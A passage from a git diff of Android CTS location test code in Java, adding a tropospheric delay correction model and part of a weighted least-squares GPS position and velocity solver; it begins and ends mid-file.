+ private static final double GM = 9.784;
+ // Gravity m/s^2
+ private static final double GRAVITY_MPS2 = 9.80665;
+
+ private static final double MINIMUM_INTERPOLATION_THRESHOLD = 1e-25;
+ private static final double B_HYDROSTATIC = 0.0035716;
+ private static final double C_HYDROSTATIC = 0.082456;
+ private static final double B_NON_HYDROSTATIC = 0.0018576;
+ private static final double C_NON_HYDROSTATIC = 0.062741;
+ private static final double SOUTHERN_HEMISPHERE_DMIN = 211.0;
+ private static final double NORTHERN_HEMISPHERE_DMIN = 28.0;
+ // Days recalling that every fourth year is a leap year and has an extra day - February 29th
+ private static final double DAYS_PER_YEAR = 365.25;
+
+ /**
+ * Compute the tropospheric correction in meters given the satellite elevation in radians, the
+ * user latitude in radians, the user Orthometric height above sea level in meters and the day of
+ * the year.
+ *
+ * <p>Dry and wet delay zenith delay components are calculated and then scaled with the mapping
+ * function at the given satellite elevation.
+ *
+ */
+ public static double calculateTropoCorrectionMeters(double satElevationRadians,
+ double userLatitudeRadian, double heightMetersAboveSeaLevel, int dayOfYear1To366) {
+ DryAndWetMappingValues dryAndWetMappingValues =
+ computeDryAndWetMappingValuesUsingUNBabcMappingFunction(satElevationRadians,
+ userLatitudeRadian, heightMetersAboveSeaLevel);
+ DryAndWetZenithDelays dryAndWetZenithDelays = calculateZenithDryAndWetDelaysSec
+ (userLatitudeRadian, heightMetersAboveSeaLevel, dayOfYear1To366);
+
+ double drydelaySeconds =
+ dryAndWetZenithDelays.dryZenithDelaySec * dryAndWetMappingValues.dryMappingValue;
+ double wetdelaySeconds =
+ dryAndWetZenithDelays.wetZenithDelaySec * dryAndWetMappingValues.wetMappingValue;
+ return drydelaySeconds + wetdelaySeconds;
+ }
+
+ /**
+ * Compute the dry and wet mapping values based on the University of Brunswick UNBabc model. The
+ * mapping function inputs are satellite elevation in radians, user latitude in radians and user
+ * orthometric height above sea level in meters. The function returns
+ * {@code DryAndWetMappingValues} containing dry and wet mapping values.
+ *
+ * <p>From the many dry and wet mapping functions of components of the troposphere, the method
+ * from the University of Brunswick in Canada was selected due to its reasonable computation time
+ * and accuracy with satellites as low as 2 degrees elevation.
+ * <p>Source: http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf
+ */
+ private static DryAndWetMappingValues computeDryAndWetMappingValuesUsingUNBabcMappingFunction(
+ double satElevationRadians, double userLatitudeRadians, double heightMetersAboveSeaLevel) {
+
+ if (satElevationRadians > Math.PI / 2.0) {
+ satElevationRadians = Math.PI / 2.0;
+ } else if (satElevationRadians < 2.0 * Math.PI / 180.0) {
+ satElevationRadians = Math.toRadians(2.0);
+ }
+
+ // dry components mapping parameters
+ double aHidrostatic = (1.18972 - 0.026855 * heightMetersAboveSeaLevel / 1000.0 + 0.10664
+ * Math.cos(userLatitudeRadians)) / 1000.0;
+
+
+ double numeratorDry = 1.0 + (aHidrostatic / (1.0 + (B_HYDROSTATIC / (1.0 + C_HYDROSTATIC))));
+ double denominatorDry = Math.sin(satElevationRadians) + (aHidrostatic / (
+ Math.sin(satElevationRadians)
+ + (B_HYDROSTATIC / (Math.sin(satElevationRadians) + C_HYDROSTATIC))));
+
+ double drymap = numeratorDry / denominatorDry;
+
+ // wet components mapping parameters
+ double aNonHydrostatic = (0.61120 - 0.035348 * heightMetersAboveSeaLevel / 1000.0 - 0.01526
+ * Math.cos(userLatitudeRadians)) / 1000.0;
+
+
+ double numeratorWet =
+ 1.0 + (aNonHydrostatic / (1.0 + (B_NON_HYDROSTATIC / (1.0 + C_NON_HYDROSTATIC))));
+ double denominatorWet = Math.sin(satElevationRadians) + (aNonHydrostatic / (
+ Math.sin(satElevationRadians)
+ + (B_NON_HYDROSTATIC / (Math.sin(satElevationRadians) + C_NON_HYDROSTATIC))));
+
+ double wetmap = numeratorWet / denominatorWet;
+ return new DryAndWetMappingValues(drymap, wetmap);
+ }
+
+ /**
+ * Compute the combined effect of the delay at zenith experienced due to hyrostatic (dry) and wet
+ * components of the troposphere. The function inputs are the user latitude in radians, user
+ * orthometric height above sea level in meters and the day of the year (1-366). The function
+ * returns a {@code DryAndWetZenithDelays} containing dry and wet delays at zenith.
+ *
+ * <p>EGNOS Tropospheric model by Penna et al. (2001) is used in this case.
+ * (http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917)
+ *
+ */
+ private static DryAndWetZenithDelays calculateZenithDryAndWetDelaysSec(double userLatitudeRadians,
+ double heightMetersAboveSeaLevel, int dayOfyear1To366) {
+ // interpolated meteorological values
+ double pressureMbar;
+ double tempKelvin;
+ double waterVaporPressureMbar;
+ // temperature lapse rate, [K/m]
+ double beta;
+ // water vapor lapse rate, dimensionless
+ double lambda;
+
+ double absLatitudeDeg = Math.toDegrees(Math.abs(userLatitudeRadians));
+ // day of year min constant
+ double dmin;
+ if (userLatitudeRadians < 0) {
+ dmin = SOUTHERN_HEMISPHERE_DMIN;
+ } else {
+ dmin = NORTHERN_HEMISPHERE_DMIN;
+
+ }
+ double amplitudeScalefactor = Math.cos((2 * Math.PI * (dayOfyear1To366 - dmin))
+ / DAYS_PER_YEAR);
+
+ if (absLatitudeDeg <= LATITUDE_15_DEGREES) {
+ pressureMbar = latDegreeToPressureMbarAvgMap[INDEX_15_DEGREES]
+ - latDegreeToPressureMbarAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
+ tempKelvin = latDegreeToTempKelvinAvgMap[INDEX_15_DEGREES]
+ - latDegreeToTempKelvinAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
+ waterVaporPressureMbar = latDegreeToWVPressureMbarAvgMap[INDEX_15_DEGREES]
+ - latDegreeToWVPressureMbarAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
+ beta = latDegreeToBetaAvgMapKPM[INDEX_15_DEGREES] - latDegreeToBetaAmpMapKPM[INDEX_15_DEGREES]
+ * amplitudeScalefactor;
+ lambda = latDegreeToLampdaAmpMap[INDEX_15_DEGREES] - latDegreeToLampdaAmpMap[INDEX_15_DEGREES]
+ * amplitudeScalefactor;
+ } else if (absLatitudeDeg > LATITUDE_15_DEGREES && absLatitudeDeg < LATITUDE_75_DEGREES) {
+ int key = (int) (absLatitudeDeg / LATITUDE_15_DEGREES);
+
+ double averagePressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToPressureMbarAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToPressureMbarAvgMap[key], absLatitudeDeg);
+ double amplitudePressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToPressureMbarAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToPressureMbarAmpMap[key], absLatitudeDeg);
+ pressureMbar = averagePressureMbar - amplitudePressureMbar * amplitudeScalefactor;
+
+ double averageTempKelvin = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToTempKelvinAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToTempKelvinAvgMap[key], absLatitudeDeg);
+ double amplitudeTempKelvin = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToTempKelvinAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToTempKelvinAmpMap[key], absLatitudeDeg);
+ tempKelvin = averageTempKelvin - amplitudeTempKelvin * amplitudeScalefactor;
+
+ double averageWaterVaporPressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToWVPressureMbarAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToWVPressureMbarAvgMap[key], absLatitudeDeg);
+ double amplitudeWaterVaporPressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToWVPressureMbarAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToWVPressureMbarAmpMap[key], absLatitudeDeg);
+ waterVaporPressureMbar =
+ averageWaterVaporPressureMbar - amplitudeWaterVaporPressureMbar * amplitudeScalefactor;
+
+ double averageBeta = interpolate(key * LATITUDE_15_DEGREES, latDegreeToBetaAvgMapKPM[key - 1],
+ (key + 1) * LATITUDE_15_DEGREES, latDegreeToBetaAvgMapKPM[key], absLatitudeDeg);
+ double amplitudeBeta = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToBetaAmpMapKPM[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToBetaAmpMapKPM[key], absLatitudeDeg);
+ beta = averageBeta - amplitudeBeta * amplitudeScalefactor;
+
+ double averageLambda = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToLampdaAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToLampdaAvgMap[key], absLatitudeDeg);
+ double amplitudeLambda = interpolate(key * LATITUDE_15_DEGREES,
+ latDegreeToLampdaAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+ latDegreeToLampdaAmpMap[key], absLatitudeDeg);
+ lambda = averageLambda - amplitudeLambda * amplitudeScalefactor;
+ } else {
+ pressureMbar = latDegreeToPressureMbarAvgMap[INDEX_75_DEGREES]
+ - latDegreeToPressureMbarAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
+ tempKelvin = latDegreeToTempKelvinAvgMap[INDEX_75_DEGREES]
+ - latDegreeToTempKelvinAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
+ waterVaporPressureMbar = latDegreeToWVPressureMbarAvgMap[INDEX_75_DEGREES]
+ - latDegreeToWVPressureMbarAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
+ beta = latDegreeToBetaAvgMapKPM[INDEX_75_DEGREES] - latDegreeToBetaAmpMapKPM[INDEX_75_DEGREES]
+ * amplitudeScalefactor;
+ lambda = latDegreeToLampdaAmpMap[INDEX_75_DEGREES] - latDegreeToLampdaAmpMap[INDEX_75_DEGREES]
+ * amplitudeScalefactor;
+ }
+
+ double zenithDryDelayAtSeaLevelSeconds = (1.0e-6 * K1 * RD * pressureMbar) / GM;
+ double zenithWetDelayAtSeaLevelSeconds = (((1.0e-6 * K2 * RD)
+ / (GM * (lambda + 1.0) - beta * RD)) * (waterVaporPressureMbar / tempKelvin));
+ double commonBase = 1.0 - ((beta * heightMetersAboveSeaLevel) / tempKelvin);
+
+ double powerDry = (GRAVITY_MPS2 / (RD * beta));
+ double powerWet = (((lambda + 1.0) * GRAVITY_MPS2) / (RD * beta)) - 1.0;
+ double zenithDryDelaySeconds = zenithDryDelayAtSeaLevelSeconds * Math.pow(commonBase, powerDry);
+ double zenithWetDelaySeconds = zenithWetDelayAtSeaLevelSeconds * Math.pow(commonBase, powerWet);
+ return new DryAndWetZenithDelays(zenithDryDelaySeconds, zenithWetDelaySeconds);
+ }
+
+ /**
+ * Interpolate linearly given two points (point1X, point1Y) and (point2X, point2Y). Given the
+ * desired value of x (xInterpolated), an interpolated value of y shall be computed and returned.
+ */
+ private static double interpolate(double point1X, double point1Y, double point2X, double point2Y,
+ double xOutput) {
+ // Check that xOutput is between the two interpolation points.
+ if ((point1X < point2X && (xOutput < point1X || xOutput > point2X))
+ || (point2X < point1X && (xOutput < point2X || xOutput > point1X))) {
+ throw new IllegalArgumentException("Interpolated value is outside the interpolated region");
+ }
+ double deltaX = point2X - point1X;
+ double yOutput;
+
+ if (Math.abs(deltaX) > MINIMUM_INTERPOLATION_THRESHOLD) {
+ yOutput = point1Y + (xOutput - point1X) / deltaX * (point2Y - point1Y);
+ } else {
+ yOutput = point1Y;
+ }
+ return yOutput;
+ }
+
+ /* A class containing dry and wet mapping values */
+ private static class DryAndWetMappingValues {
+ public double dryMappingValue;
+ public double wetMappingValue;
+
+ public DryAndWetMappingValues(double dryMappingValue, double wetMappingValue) {
+ this.dryMappingValue = dryMappingValue;
+ this.wetMappingValue = wetMappingValue;
+ }
+ }
+
+ /* A class containing dry and wet delays in seconds experienced at zenith */
+ private static class DryAndWetZenithDelays {
+ public double dryZenithDelaySec;
+ public double wetZenithDelaySec;
+
+ public DryAndWetZenithDelays(double dryZenithDelay, double wetZenithDelay) {
+ this.dryZenithDelaySec = dryZenithDelay;
+ this.wetZenithDelaySec = wetZenithDelay;
+ }
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/UserPositionVelocityWeightedLeastSquare.java b/tests/tests/location/src/android/location/cts/psedorange/UserPositionVelocityWeightedLeastSquare.java
new file mode 100644
index 0000000..1d26b8e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/psedorange/UserPositionVelocityWeightedLeastSquare.java
@@ -0,0 +1,910 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.pseudorange;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Lists;
+import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
+import android.location.cts.pseudorange.EcefToTopocentricConverter.TopocentricAEDValues;
+import android.location.cts.pseudorange.SatellitePositionCalculator.PositionAndVelocity;
+import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
+import android.location.cts.nano.Ephemeris.GpsNavMessageProto;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import org.apache.commons.math.linear.Array2DRowRealMatrix;
+import org.apache.commons.math.linear.LUDecompositionImpl;
+import org.apache.commons.math.linear.QRDecompositionImpl;
+import org.apache.commons.math.linear.RealMatrix;
+
+/**
+ * Computes an iterative least square receiver position solution given the pseudorange (meters) and
+ * accumulated delta range (meters) measurements, receiver time of week, week number and the
+ * navigation message.
+ */
+class UserPositionVelocityWeightedLeastSquare {
+ private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
+ private static final int SECONDS_IN_WEEK = 604800;
+ private static final double LEAST_SQUARE_TOLERANCE_METERS = 4.0e-8;
+ /** Position correction threshold below which atmospheric correction will be applied */
+ private static final double ATMPOSPHERIC_CORRECTIONS_THRESHOLD_METERS = 1000.0;
+ private static final int MINIMUM_NUMER_OF_SATELLITES = 4;
+ private static final double RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS = 20.0;
+
+ private static final int MAXIMUM_NUMBER_OF_LEAST_SQUARE_ITERATIONS = 100;
+ /** Maximum possible number of GPS satellites */
+ private static final int MAX_NUMBER_OF_SATELLITES = 32;
+ /** GPS C/A code chip width Tc = 1 microseconds */
+ private static final double GPS_CHIP_WIDTH_T_C_SEC = 1.0e-6;
+ /** Narrow correlator with spacing d = 0.1 chip */
+ private static final double GPS_CORRELATOR_SPACING_IN_CHIPS = 0.1;
+ /** Average time of DLL correlator T of 20 milliseconds */
+ private static final double GPS_DLL_AVERAGING_TIME_SEC = 20.0e-3;
+ /** Average signal travel time from GPS satellite and earth */
+ private static final double AVERAGE_TRAVEL_TIME_SECONDS = 70.0e-3;
+ private static final double SECONDS_PER_NANO = 1.0e-9;
+ private static final double DOUBLE_ROUND_OFF_TOLERANCE = 0.0000000001;
+ private PseudorangeSmoother pseudorangeSmoother = null;
+ private double geoidHeightMeters;
+ private boolean calculateGeoidMeters = true;
+ private RealMatrix geometryMatrix;
+
+ /** Default Constructor */
+ public UserPositionVelocityWeightedLeastSquare() {
+ }
+
+ /*
+ * Constructor with a smoother. One can implement their own smoothing algorithm for smoothing
+ * the pseudorange, by passing a class which implements {@link PseudorangeSmoother} interface.
+ */
+ public UserPositionVelocityWeightedLeastSquare(PseudorangeSmoother pseudorangeSmoother) {
+ this.pseudorangeSmoother = pseudorangeSmoother;
+ }
+
+ /**
+ * Least square solution to calculate the user position given the navigation message, pseudorange
+ * and accumulated delta range measurements. Also calculates user velocity non-iteratively from
+ * Least square position solution.
+ *
+ * <p>The method fills the user position and velocity in ECEF coordinates and receiver clock
+ * offset in meters and clock offset rate in meters per second.
+ *
+ * <p>One can implement their own smoothing algorithm for smoothing the pseudorange, by passing
+ * a class which implements pseudorangeSmoother interface.
+ *
+ * <p>Source for least squares:
+ * <ul>
+ * <li>http://www.u-blox.com/images/downloads/Product_Docs/GPS_Compendium%28GPS-X-02007%29.pdf
+ * page 81 - 85
+ * <li>Parkinson, B.W., Spilker Jr., J.J.: ‘Global positioning system: theory and applications’
+ * page 412 - 414
+ * </ul>
+ *
+ * @param navMessageProto parameters of the navigation message
+ * @param usefulSatellitesToReceiverMeasurements Map of useful satellite PRN to
+ * {@link GpsMeasurementWithRangeAndUncertainty} containing receiver measurements for
+ * computing the position solution.
+ * @param receiverGPSTowAtReceptionSeconds Receiver estimate of GPS time of week (seconds)
+ * @param receiverGPSWeek Receiver estimate of GPS week (0-1024+)
+ * @param dayOfYear1To366 The day of the year between 1 and 366
+ * @param positionVelocitySolutionECEF Solution array of the following format:
+ * [0-2] xyz solution of user.
+ * [3] clock bias of user.
+ * [4-6] velocity of user.
+ * [7] clock bias rate of user.
+ * @param positionVelocityUncertaintyEnu Uncertainty of calculated position and velocity solution
+ * in meters and mps local ENU system. Array has the following format:
+ * [0-2] Enu uncertainty of position solution in meters
+ * [3-5] Enu uncertainty of velocity solution in meters per second.
+ *
+ */
+ public void calculateUserPositionVelocityLeastSquare(
+ GpsNavMessageProto navMessageProto,
+ List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToReceiverMeasurements,
+ double receiverGPSTowAtReceptionSeconds,
+ int receiverGPSWeek,
+ int dayOfYear1To366,
+ double[] positionVelocitySolutionECEF,
+ double[] positionVelocityUncertaintyEnu)
+ throws Exception {
+
+ double[] deltaPositionMeters;
+ // make a copy of usefulSatellitesToReceiverMeasurements, to keep the original list the same
+ List<GpsMeasurementWithRangeAndUncertainty> satellitesToReceiverMeasurements =
+ new ArrayList<GpsMeasurementWithRangeAndUncertainty>(usefulSatellitesToReceiverMeasurements);
+ if (pseudorangeSmoother != null) {
+ satellitesToReceiverMeasurements =
+ pseudorangeSmoother.updatePseudorangeSmoothingResult(satellitesToReceiverMeasurements);
+ }
+ int numberOfUsefulSatellites =
+ getNumberOfusefulSatellites(satellitesToReceiverMeasurements);
+ // Least square position solution is supported only if 4 or more satellites visible
+ Preconditions.checkArgument(numberOfUsefulSatellites >= MINIMUM_NUMER_OF_SATELLITES,
+ "At least 4 satellites have to be visible... Only 3D mode is supported...");
+ boolean repeatLeastSquare = false;
+ SatellitesPositionPseudorangesResidualAndCovarianceMatrix satPosPseudorangeResidualAndWeight;
+ do {
+ // Calculate satellites' positions, measurement residual per visible satellite and weight
+ // matrix for the iterative least square
+ boolean doAtmosphericCorrections = false;
+ satPosPseudorangeResidualAndWeight =
+ calculateSatPosAndPseudorangeResidual(
+ navMessageProto,
+ satellitesToReceiverMeasurements,
+ receiverGPSTowAtReceptionSeconds,
+ receiverGPSWeek,
+ dayOfYear1To366,
+ positionVelocitySolutionECEF,
+ doAtmosphericCorrections);
+
+ // Calcualte the geometry matrix according to "Global Positioning System: Theory and
+ // Applications", Parkinson and Spilker page 413
+ RealMatrix covarianceMatrixM2 =
+ new Array2DRowRealMatrix(satPosPseudorangeResidualAndWeight.covarianceMatrixMetersSquare);
+ geometryMatrix = new Array2DRowRealMatrix(calculateGeometryMatrix(
+ satPosPseudorangeResidualAndWeight.satellitesPositionsMeters,
+ positionVelocitySolutionECEF));
+ RealMatrix weightedGeometryMatrix;
+ RealMatrix weightMatrixMetersMinus2 = null;
+ // Apply weighted least square only if the covariance matrix is not singular (has a non-zero
+ // determinant), otherwise apply ordinary least square. The reason is to ignore reported
+ // signal to noise ratios by the receiver that can lead to such singularities
+ LUDecompositionImpl ludCovMatrixM2 = new LUDecompositionImpl(covarianceMatrixM2);
+ double det = ludCovMatrixM2.getDeterminant();
+
+ if (det <= DOUBLE_ROUND_OFF_TOLERANCE) {
+ // Do not weight the geometry matrix if covariance matrix is singular.
+ weightedGeometryMatrix = geometryMatrix;
+ } else {
+ weightMatrixMetersMinus2 = ludCovMatrixM2.getSolver().getInverse();
+ RealMatrix hMatrix =
+ calculateHMatrix(weightMatrixMetersMinus2, geometryMatrix);
+ weightedGeometryMatrix = hMatrix.multiply(geometryMatrix.transpose())
+ .multiply(weightMatrixMetersMinus2);
+ }
+
+ // Equation 9 page 413 from "Global Positioning System: Theory and Applicaitons", Parkinson
+ // and Spilker
+ deltaPositionMeters =
+ GpsMathOperations.matrixByColVectMultiplication(weightedGeometryMatrix.getData(),
+ satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters);
+
+ // Apply corrections to the position estimate
+ positionVelocitySolutionECEF[0] += deltaPositionMeters[0];
+ positionVelocitySolutionECEF[1] += deltaPositionMeters[1];
+ positionVelocitySolutionECEF[2] += deltaPositionMeters[2];
+ positionVelocitySolutionECEF[3] += deltaPositionMeters[3];
+ // Iterate applying corrections to the position solution until correction is below threshold
+ satPosPseudorangeResidualAndWeight =
+ applyWeightedLeastSquare(
+ navMessageProto,
+ satellitesToReceiverMeasurements,
+ receiverGPSTowAtReceptionSeconds,
+ receiverGPSWeek,
+ dayOfYear1To366,
+ positionVelocitySolutionECEF,
+ deltaPositionMeters,
+ doAtmosphericCorrections,
+ satPosPseudorangeResidualAndWeight,
+ weightMatrixMetersMinus2);
+ repeatLeastSquare = false;
+ int satsWithResidualBelowThreshold =
+ satPosPseudorangeResidualAndWeight.pseudorangeResidualsMeters.length;
+ // remove satellites that have residuals above RESIDUAL_TO_REPEAT_LEAST_SQUARE_METERS as they
+ // worsen the position solution accuracy. If any satellite is removed, repeat the least square
+ repeatLeastSquare =
+ removeHighResidualSats(
+ satellitesToReceiverMeasurements,
+ repeatLeastSquare,
+ satPosPseudorangeResidualAndWeight,
+ satsWithResidualBelowThreshold);
+
+ } while (repeatLeastSquare);
+ calculateGeoidMeters = false;
+
+ // The computed ECEF position will be used next to compute the user velocity.
+ // we calculate and fill in the user velocity solutions based on following equation:
+ // Weight Matrix * GeometryMatrix * User Velocity Vector
+ // = Weight Matrix * deltaPseudoRangeRateWeightedMps
+ // Reference: Pratap Misra and Per Enge
+ // "Global Positioning System: Signals, Measurements, and Performance" Page 218.
+
+ // Gets the number of satellite used in Geometry Matrix
+ numberOfUsefulSatellites = geometryMatrix.getRowDimension();
+
+ RealMatrix rangeRateMps = new Array2DRowRealMatrix(numberOfUsefulSatellites, 1);
+ RealMatrix deltaPseudoRangeRateMps =
+ new Array2DRowRealMatrix(numberOfUsefulSatellites, 1);
+ RealMatrix pseudorangeRateWeight
+ = new Array2DRowRealMatrix(numberOfUsefulSatellites, numberOfUsefulSatellites);
+
+ // Correct the receiver time of week with the estimated receiver clock bias
+ receiverGPSTowAtReceptionSeconds =
+ receiverGPSTowAtReceptionSeconds - positionVelocitySolutionECEF[3] / SPEED_OF_LIGHT_MPS;
+
+ int measurementCount = 0;
+
+ // Calculates range rates
+ for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
+ if (satellitesToReceiverMeasurements.get(i) != null) {
+ GpsEphemerisProto ephemeridesProto = getEphemerisForSatellite(navMessageProto, i + 1);
+
+ double pseudorangeMeasurementMeters =
+ satellitesToReceiverMeasurements.get(i).pseudorangeMeters;
+ GpsTimeOfWeekAndWeekNumber correctedTowAndWeek =
+ calculateCorrectedTransmitTowAndWeek(ephemeridesProto, receiverGPSTowAtReceptionSeconds,
+ receiverGPSWeek, pseudorangeMeasurementMeters);
+
+ // Calculate satellite velocity
+ PositionAndVelocity satPosECEFMetersVelocityMPS = SatellitePositionCalculator
+ .calculateSatellitePositionAndVelocityFromEphemeris(
+ ephemeridesProto,
+ correctedTowAndWeek.gpsTimeOfWeekSeconds,
+ correctedTowAndWeek.weekNumber,
+ positionVelocitySolutionECEF[0],
+ positionVelocitySolutionECEF[1],
+ positionVelocitySolutionECEF[2]);
+
+ // Calculates satellite clock error rate
+ double satelliteClockErrorRateMps = SatelliteClockCorrectionCalculator.
+ calculateSatClockCorrErrorRate(
+ ephemeridesProto,
+ correctedTowAndWeek.gpsTimeOfWeekSeconds,
+ correctedTowAndWeek.weekNumber);
+
+ // Fill in range rates. range rate = satellite velocity (dot product) line-of-sight vector
+ rangeRateMps.setEntry(measurementCount, 0, -1 * (
+ satPosECEFMetersVelocityMPS.velocityXMetersPerSec
+ * geometryMatrix.getEntry(measurementCount, 0)
+ + satPosECEFMetersVelocityMPS.velocityYMetersPerSec
+ * geometryMatrix.getEntry(measurementCount, 1)
+ + satPosECEFMetersVelocityMPS.velocityZMetersPerSec
+ * geometryMatrix.getEntry(measurementCount, 2)));
+
+ deltaPseudoRangeRateMps.setEntry(measurementCount, 0,
+ satellitesToReceiverMeasurements.get(i).pseudorangeRateMps
+ - rangeRateMps.getEntry(measurementCount, 0) + satelliteClockErrorRateMps
+ - positionVelocitySolutionECEF[7]);
+
+ // Calculate the velocity weight matrix by using 1 / square(Pseudorangerate Uncertainty)
+ // along the diagonal
+ pseudorangeRateWeight.setEntry(measurementCount, measurementCount,
+ 1 / (satellitesToReceiverMeasurements
+ .get(i).pseudorangeRateUncertaintyMps
+ * satellitesToReceiverMeasurements
+ .get(i).pseudorangeRateUncertaintyMps));
+ measurementCount++;
+ }
+ }
+
+ RealMatrix weightedGeoMatrix = pseudorangeRateWeight.multiply(geometryMatrix);
+ RealMatrix deltaPseudoRangeRateWeightedMps =
+ pseudorangeRateWeight.multiply(deltaPseudoRangeRateMps);
+ QRDecompositionImpl qrdWeightedGeoMatrix = new QRDecompositionImpl(weightedGeoMatrix);
+ RealMatrix velocityMps
+ = qrdWeightedGeoMatrix.getSolver().solve(deltaPseudoRangeRateWeightedMps);
+ positionVelocitySolutionECEF[4] = velocityMps.getEntry(0, 0);
+ positionVelocitySolutionECEF[5] = velocityMps.getEntry(1, 0);
+ positionVelocitySolutionECEF[6] = velocityMps.getEntry(2, 0);
+ positionVelocitySolutionECEF[7] = velocityMps.getEntry(3, 0);
+
+ RealMatrix pseudorangeWeight
+ = new LUDecompositionImpl(
+ new Array2DRowRealMatrix(satPosPseudorangeResidualAndWeight.covarianceMatrixMetersSquare
+ )
+ ).getSolver().getInverse();
+
+ // Calculates and store the uncertainties of position and velocity in local ENU system in meters
+ // and meters per second.
+ double[] pvUncertainty =
+ calculatePositionVelocityUncertaintyEnu(pseudorangeRateWeight, pseudorangeWeight,
+ positionVelocitySolutionECEF);
+ System.arraycopy(pvUncertainty,
+ 0 /*source starting pos*/,
+ positionVelocityUncertaintyEnu,
+ 0 /*destination starting pos*/,
+ 6 /*length of elements*/);
+ }
+
+ /**
+ * Calculates the position uncertainty in meters and the velocity uncertainty
+ * in meters per second solution in local ENU system.
+ *
+ * <p> Reference: Global Positioning System: Signals, Measurements, and Performance
+ * by Pratap Misra, Per Enge, Page 206 - 209.
+ *
+ * @param velocityWeightMatrix the velocity weight matrix
+ * @param positionWeightMatrix the position weight matrix
+ * @param positionVelocitySolution the position and velocity solution in ECEF
+ * @return an array containing the position and velocity uncertainties in ENU coordinate system.
+ * [0-2] Enu uncertainty of position solution in meters.
+ * [3-5] Enu uncertainty of velocity solution in meters per second.
+ */
+ public double[] calculatePositionVelocityUncertaintyEnu(
+ RealMatrix velocityWeightMatrix, RealMatrix positionWeightMatrix,
+ double[] positionVelocitySolution){
+
+ if (geometryMatrix == null){
+ return null;
+ }
+
+ RealMatrix velocityH = calculateHMatrix(velocityWeightMatrix, geometryMatrix);
+ RealMatrix positionH = calculateHMatrix(positionWeightMatrix, geometryMatrix);
+
+ // Calculate the rotation Matrix to convert to local ENU system.
+ RealMatrix rotationMatrix = new Array2DRowRealMatrix(4, 4);
+ GeodeticLlaValues llaValues = Ecef2LlaConverter.convertECEFToLLACloseForm
+ (positionVelocitySolution[0], positionVelocitySolution[1], positionVelocitySolution[2]);
+ rotationMatrix.setSubMatrix(
+ Ecef2EnuConverter.getRotationMatrix(llaValues.longitudeRadians,
+ llaValues.latitudeRadians).getData(), 0, 0);
+ rotationMatrix.setEntry(3, 3, 1);
+
+ // Convert to local ENU by pre-multiply rotation matrix and multiply rotation matrix transposed
+ velocityH = rotationMatrix.multiply(velocityH).multiply(rotationMatrix.transpose());
+ positionH = rotationMatrix.multiply(positionH).multiply(rotationMatrix.transpose());
+
+ // Return the square root of diagonal entries
+ return new double[] {
+ Math.sqrt(positionH.getEntry(0, 0)), Math.sqrt(positionH.getEntry(1, 1)),
+ Math.sqrt(positionH.getEntry(2, 2)), Math.sqrt(velocityH.getEntry(0, 0)),
+ Math.sqrt(velocityH.getEntry(1, 1)), Math.sqrt(velocityH.getEntry(2, 2))};
+ }
+
+ /**
+ * Calculate the measurement connection matrix H as a function of weightMatrix and
+ * geometryMatrix.
+ *
+ * <p> H = (geometryMatrixTransposed * Weight * geometryMatrix) ^ -1
+ *
+ * <p> Reference: Global Positioning System: Signals, Measurements, and Performance, P207
+ * @param weightMatrix Weights for computing H Matrix
+ * @return H Matrix
+ */
+ private RealMatrix calculateHMatrix
+ (RealMatrix weightMatrix, RealMatrix geometryMatrix){
+
+ RealMatrix tempH = geometryMatrix.transpose().multiply(weightMatrix).multiply(geometryMatrix);
+ return new LUDecompositionImpl(tempH).getSolver().getInverse();
+ }
+
+ /**
+ * Applies weighted least square iterations and corrects to the position solution until correction
+ * is below threshold. An exception is thrown if the maximum number of iterations:
